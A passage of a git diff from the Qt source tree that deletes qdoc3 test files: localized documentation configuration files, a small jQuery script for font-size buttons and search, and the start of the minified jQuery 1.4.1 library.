-qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements -qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass -qhp.Qt.subprojects.qmlelements.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QTDIR/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus/src -sourcedirs = $QTDIR/src \ - $QTDIR/doc/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libconninet \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/doc/src/zh_CN - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/declarative/pics \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html -tagfile = $QTDIR/doc/html/qt.tags -base = file:$QTDIR/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_ja_JP.qdocconf b/tools/qdoc3/test/qt_ja_JP.qdocconf deleted file mode 100644 index 69c0748..0000000 --- a/tools/qdoc3/test/qt_ja_JP.qdocconf +++ /dev/null @@ -1,118 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_ja_JP.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt リファレンスドキュメント -url = http://qt.nokia.com/doc/ja_JP/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = ja - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.480 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = Qt -qhp.Qt.indexTitle = Qt -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc ja_JP -qhp.Qt.customFilters.Qt.name = Qt 4.8.0 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/ja_JP - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/zh_CN \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples/ja_JP \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/ja_JP/images \ - $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_ja_JP -tagfile = $QTDIR/doc/html_ja_JP/qt.tags -base = file:$QTDIR/doc/html_ja_JP - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_zh_CN.qdocconf b/tools/qdoc3/test/qt_zh_CN.qdocconf deleted file mode 100644 index 7b49315..0000000 --- a/tools/qdoc3/test/qt_zh_CN.qdocconf +++ /dev/null @@ -1,116 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_zh_CN.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/zh_CN/4.8 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = zh-Hans - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.480 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = 教程 -qhp.Qt.indexTitle = 教程 -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc zh_CN -qhp.Qt.customFilters.Qt.name = Qt 4.8.0 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/zh_CN - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_zh_CN -tagfile = $QTDIR/doc/html_zh_CN/qt.tags -base = file:$QTDIR/doc/html_zh_CN - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/scripts/functions.js b/tools/qdoc3/test/scripts/functions.js deleted file mode 100644 index 0135427..0000000 --- a/tools/qdoc3/test/scripts/functions.js +++ /dev/null @@ -1,60 +0,0 @@ - -/* START non link areas where cursor should change to pointing hand */ -$('.t_button').mouseover(function() { - $('.t_button').css('cursor','pointer'); - /*document.getElementById(this.id).style.cursor='pointer';*/ -}); - -/* END non link areas */ -$('#smallA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#medA').click(function() { - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content h1').css('font','600 18px/1.2 Arial'); - $('.content h2').css('font','600 16px/1.2 Arial'); - $('.content h3').css('font','600 14px/1.2 Arial'); - $('.content p').css('font','13px/20px Verdana'); - $('.content li').css('font','400 13px/1 Verdana'); - $('.content li').css('line-height','14px'); - $('.content table').css('font','13px/1.2 Verdana'); - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content .indexboxcont li').css('font','600 13px/1 Verdana'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#bigA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large'); - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -function doSearch(str){ - -if (str.length>3) - { - alert('start search'); - // document.getElementById("refWrapper").innerHTML=""; - return; - } - else - return; - -// var url="indexSearch.php"; -// url=url+"?q="+str; - // url=url+"&sid="+Math.random(); - // var url="http://localhost:8983/solr/select?"; - // url=url+"&q="+str; - // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl="; - - // $.get(url, function(data){ - // alert(data); - // document.getElementById("refWrapper").innerHTML=data; - //}); - -}
\ No newline at end of file diff --git a/tools/qdoc3/test/scripts/jquery.js b/tools/qdoc3/test/scripts/jquery.js deleted file mode 100644 index 0c7294c..0000000 --- a/tools/qdoc3/test/scripts/jquery.js +++ /dev/null @@ -1,152 +0,0 @@ -/*! - * jQuery JavaScript Library v1.4.1 - * http://jquery.com/ - * - * Copyright 2010, John Resig - * Dual licensed under the MIT or GPL Version 2 licenses. - * http://jquery.org/license - * - * Includes Sizzle.js - * http://sizzlejs.com/ - * Copyright 2010, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * - * Date: Mon Jan 25 19:43:33 2010 -0500 - */ -(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j? -e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f, -a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType=== -11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment(); -c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent, -va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]], -[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a, -this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this, -a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice}; -c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$= -Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload", -c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false; -return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]|| -r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d= -a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!== -v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b}, -uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded", -L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support= -{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null}; -b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild); -c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props= -{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true, -{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this, -a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d); -return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]|| -a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m= -c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca), -d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o= -a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value|| -{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var 